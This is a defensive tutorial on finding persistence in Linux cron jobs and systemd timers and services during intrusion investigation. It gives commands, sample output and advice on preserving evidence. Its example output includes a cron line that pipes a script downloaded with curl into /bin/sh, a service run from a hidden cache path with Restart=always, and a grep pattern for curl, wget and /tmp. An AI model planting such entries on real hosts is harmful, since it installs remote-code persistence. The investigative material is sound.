Persistence checks after a suspicious login or file change need to include the places that run commands without an interactive shell. Cron and systemd can restart a payload after logout, reboot, or a timer event, so a clean process list at one moment does not prove the host is clear.
Cron loads per-user crontabs, /etc/crontab, /etc/cron.d, and periodic directories such as /etc/cron.daily. Systemd records autostart state in enabled services and timers, then connects timer units to the service commands they activate. Checking both surfaces catches scheduled and boot-time entries that do not show up as an ordinary login shell.
Treat unknown entries as evidence first. Names can be intentionally dull, and legitimate backup, monitoring, and package jobs often look similar until the command path, account, owner, timestamp, and journal history are compared. Prioritize entries that run from home, hidden, or temporary paths, use curl or wget, call interpreters with downloaded content, set Restart=always, or use user services with linger enabled.
Related: How to investigate a Linux intrusion
Related: How to list cron jobs in Linux
Steps to check for persistence with cron and systemd in Linux:
- List the root user's crontab entries.
$ sudo crontab -l 0 5 * * * /usr/local/bin/backup.sh 15 * * * * /usr/local/bin/rotate-logs.sh
No crontab for root only rules out that user's spool file; system cron files and systemd units still need review.
Tool: Cron Expression Parser - List the target account's crontab entries.
$ sudo crontab -l -u alice @reboot /home/alice/.local/bin/check-updates.sh
Replace alice with the target account name and flag jobs using @reboot or executing from hidden or temporary paths.
- List system cron files and periodic script directories.
$ sudo ls -l /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly /etc/cron.d: total 8 -rw-r--r-- 1 root root 188 Feb 13 12:17 e2scrub_all -rw-r--r-- 1 root root 166 Jun 13 20:45 update-check /etc/cron.daily: total 8 -rwxr-xr-x 1 root root 1478 Apr 7 09:02 apt-compat -rwxr-xr-x 1 root root 123 Dec 16 00:50 dpkg /etc/cron.hourly: total 0 /etc/cron.monthly: total 0 /etc/cron.weekly: total 0
System-wide schedules may also be defined in /etc/crontab and /etc/anacrontab when those files exist.
- Search cron files for common persistence indicators.
$ sudo grep -R --line-number --extended-regexp --ignore-case 'curl|wget|/tmp|/dev/shm|\.cache' /etc/crontab /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly /etc/cron.d/update-check:4:*/30 * * * * alice /usr/bin/curl -fsS https://updates.example.net/check.sh | /bin/sh
No output means the selected indicators were not found. It does not prove that cron contains no persistence.
- List systemd timers with the services they activate.
$ systemctl list-timers --all --no-pager NEXT LEFT LAST PASSED UNIT ACTIVATES Sun 2026-06-14 21:00:00 UTC 14min Sun 2026-06-14 20:30:01 UTC 16min ago update-check.timer update-check.service Mon 2026-06-15 00:00:00 UTC 3h Sun 2026-06-14 00:00:01 UTC 20h ago apt-daily.timer apt-daily.service ##### snipped ##### 7 timers listed.
The ACTIVATES column points to the service unit that runs when the timer elapses.
- List enabled systemd timer unit files.
$ systemctl list-unit-files --type=timer --state=enabled --no-pager UNIT FILE STATE PRESET apt-daily-upgrade.timer enabled enabled apt-daily.timer enabled enabled dpkg-db-backup.timer enabled enabled e2scrub_all.timer enabled enabled fstrim.timer enabled enabled motd-news.timer enabled enabled update-check.timer enabled enabled 7 unit files listed.
- List enabled systemd service unit files.
$ systemctl list-unit-files --type=service --state=enabled --no-pager UNIT FILE STATE PRESET cron.service enabled enabled e2scrub_reap.service enabled enabled getty@.service enabled enabled systemd-pstore.service enabled enabled update-check.service enabled enabled 5 unit files listed.
Enabled services are connected to boot or target activation. A service can also be started manually without being enabled, so review running processes and journal logs when the incident scope requires it.
- Inspect a suspicious service unit file and its drop-ins.
$ sudo systemctl cat update-check.service # /etc/systemd/system/update-check.service [Unit] Description=Update check [Service] Type=simple ExecStart=/home/alice/.cache/update-check Restart=always [Install] WantedBy=multi-user.target
Do not stop or disable an unknown unit before preserving the unit file, drop-ins, owner, timestamps, process state, and journal entries.
- Check whether the target account has linger enabled for user services.
$ loginctl show-user alice --property=Linger Linger=yes
Linger=yes allows the user's systemd manager to start at boot and keep running after logout.
- Search home directories for per-user systemd units.
$ sudo find /home -path '*/.config/systemd/user/*' -type f /home/bob/.config/systemd/user/ssh-agent.service
User unit files commonly live under /home/*/.config/systemd/user/ and may be paired as .timer + .service.
- Review recent journal entries for the suspicious unit.
$ sudo journalctl -u update-check.service --since '24 hours ago' --no-pager Jun 14 20:30:01 host.example.net systemd[1]: Started update-check.service - Update check. Jun 14 20:30:01 host.example.net update-check[2841]: Downloaded update script from updates.example.net
No journal entries in the selected time window only means the unit did not log there. Widen the time range or check rotated logs when the unit file still looks suspicious.
- Record unknown entries before changing state.
Deleting crontabs or disabling units can destroy evidence and interrupt legitimate backups, monitoring, or package maintenance. Preserve the command text, file path, owner, timestamps, hashes, and log excerpts before remediation.
Mohd Shakir Zakaria is a cloud architect with deep roots in software development and open-source advocacy. Certified in AWS, Red Hat, VMware, ITIL, and Linux, he specializes in designing and managing robust cloud and on-premises infrastructures.